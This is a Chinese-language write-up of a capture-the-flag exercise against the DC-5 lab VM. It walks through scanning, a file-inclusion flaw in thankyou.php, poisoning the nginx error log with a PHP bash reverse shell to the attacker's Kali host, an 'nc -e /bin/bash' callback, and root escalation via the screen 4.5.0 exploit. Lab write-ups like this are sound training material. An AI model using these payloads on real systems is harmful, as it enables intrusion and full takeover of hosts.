目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux dc-5 3.16.0-4-amd64
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、ffuf(fuzz目录包含的参数)、burp suite(修改url参数) 、python(开启临时web服务)、nc(反弹shell连接)、searchspoilt(寻找poc)、dos2unix(将文件格式转换为unix识别的格式)
测试网址:http://192.168.202.158
二、测试目的
渗透靶机,通过web页面存在的目录包含漏洞写入木马到错误信息中getshell;通过screen应用的版本漏洞提权root
三、操作过程
1、信息搜集
主机探测
arp-scan -l
端口和服务扫描
nmap -sS -A -T4 -p- 192.168.202.158
可以看到只开启了web服务(80端口),rpcbind是端口映射的服务
目录扫描
gobuster dir -u http://192.168.202.158/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,jsp,html,txt
2、Getshell
打开web页面查看,五个栏目对应五个页面
Footer.php页面是版权页面,每次刷新的年份不一样
在contact页面提交会跳转thankyou.php页面,不管有没有内容都会跳转
看来提交的内容并不是作者想让注入的地方,提交参数跑了下sqlmap也没结果
多次提交发现,版权的年份会变,可以推断,thankyou.php页面包含了footer.php页面
尝试fuzz出目录遍历的参数
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.202.158/thankyou.php?FUZZ=index.php -fs 852
FUZZ : 是占位符,爆破参数就是这个
-fs 852 : 过滤掉响应页大小为852的页面,这个大小是先跑一次命令才知道正常响应页大小。
得到参数值为file
尝试包含/etc/passwd文件,成功包含
http://192.168.202.158/thankyou.php?file=/etc/passwd
通过目录遍历getshell,可以将php代码进行包含,这样会显示在错误信息中
需要抓包修改参数,在url中输入会被url编码,这样代码就失效了
传入反弹shell参数
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>
包含后,页面没有显示,就是正常的,因为是错误的目录,被记录在error.log中
目录包含nginx的错误日志
http://192.168.202.158/thankyou.php?file=/var/log/nginx/error.log
同时kali开启监听
nc -lvvp 666
成功获取shell
3、提权
寻找suid权限的文件时,发现screen
screen 是一个用于 Unix/Linux 系统的终端多路复用器,它允许用户在一个终端窗口中运行多个会话。
Screen的4.5.0版本存在提权root的漏洞
尝试提权
查找漏洞exp,正好是这个版本的提权exp
这个exp的文件格式默认为Windows,直接用的话执行不成功的
Unix中,可以使用命令
cat -A <文件>
查看文件的格式,每一行末尾都有标识符
^M$ 表示windows系统文件
$则表示unix文件
必须要是unix文件才能解析(已经转换过了)
Linux使用命令将文件格式转换为unix格式:
dos2unix 41154.sh
(会直接转换系统中所有文件名为41154.sh的文件,我已经转换过了)
上传到靶机,赋予权限后执行,发现执行不成功
Gcc编译不成功
尝试发现通过蚁剑二次反弹shell才能成功(权限更大)
在目录包含页面传入一句话木马,蚁剑连接
这算一次shell连接,这里也是提权不成功的
通过nc再将shell反弹到kali上
nc -e /bin/bash 192.168.202.134 1111
bash 41154.sh
执行exp,发现还是不成功(尝试第二次可以成功)
或者使用交互式shell
SHELL=/bin/bash script /dev/null
./41154.sh
终于提权成功了
获取到flag
四、结论
目录包含漏洞可以通过传入错误参数,将代码上传在报错日志中,通过包含报错日志可以getshell。
linux系统中,不能直接使用windows文件,需要先转换为unix文件才行。
利用screen 4.5.0版本的漏洞可以进行提权,但必须通过蚁剑两次反弹shell运行exp,直接反弹shell或者是蚁剑连接都是提不了权的;只有先蚁剑连接,再反弹shell才能提权,否则会缺少库函数文件,gcc编译不成功,exp运行不成功。